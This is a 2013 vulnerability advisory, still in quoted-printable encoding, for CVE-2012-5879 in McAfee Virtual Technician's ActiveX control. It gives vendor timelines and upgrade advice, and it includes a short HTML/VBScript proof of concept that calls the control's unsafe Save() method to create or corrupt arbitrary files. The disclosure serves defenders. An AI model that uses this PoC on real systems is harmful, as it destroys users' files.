Advisory ID: HTB23128
Product: McAfee Virtual Technician (MVT) 6.5.0.2101
Vendor: McAfee
Vulnerable Version(s): 6.5.0.2101 and probably prior
Tested Version: 6.5.0.2101 on Windows 7 SP1 and Internet Explorer 9
Vendor Notification: November 19, 2012=20
Vendor Patch: March 15, 2013=20
Public Disclosure: March 27, 2013=20
Vulnerability Type: Exposed Unsafe ActiveX Method [CWE-618]
CVE Reference: CVE-2012-5879
Risk Level: Medium=20
CVSSv2 Base Score: 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in McAfee V=
irtual Technician ActiveX control, which can be exploited by remote malicio=
us person to overwrite arbitrary files with garbage data on a vulnerable sy=
stem.
1) Insecure method in McAfee Virtual Technician ActiveX control: CVE-2012-5=
879
The vulnerability exists due to the ActiveX control including the insecure =
"Save()" method in "McHealthCheck.dll" DLL. This can be exploited to corrup=
t or create arbitrary files in the context of the current user.
The following PoC code is available:
<html>
<h4>McAfee Virtual Technician [McHealthCheck.dll] v.6.5.0.2101</h4>
<h5>This proof of concepts creates an arbitrary file in a system [Windows 7=
, SP1 with IE 9.0] by leveraging the McHealthCheck.dll ActiveX module and t=
he method "Save()":</h5>
<object classid=3D'clsid:24565A99-ADDA-47B9-9E86-3C4C3360E256' id=3D'target=
'></object>
<input type=3D"button" value=3D"Boom!" language=3D"VBScript" OnClick=3D"Cre=
ateArbitraryFile()">
<script language=3D"VBScript">
sub CreateArbitraryFile()
arg1=3D"FilePath\File_name_to_corrupt_or_create"
target.Save arg1=20
End Sub
</script>
</html>
---------------------------------------------------------------------------=
--------------------
Solution:
Upgrade to McAfee Virtual Technician (MVT) 7.1
More Information:
https://kc.mcafee.com/corporate/index?page=3Dcontent&id=3DSB10040
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23128 - https://www.htbridge.com/advisory/=
HTB23128 - McAfee Virtual Technician ActiveX control Insecure Method.
[2] McAfee Virtual Technician - mvt.mcafee.com - McAfee Virtual Technician =
collects information on your computer system so that McAfee can diagnose an=
d solve problems related to your McAfee software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.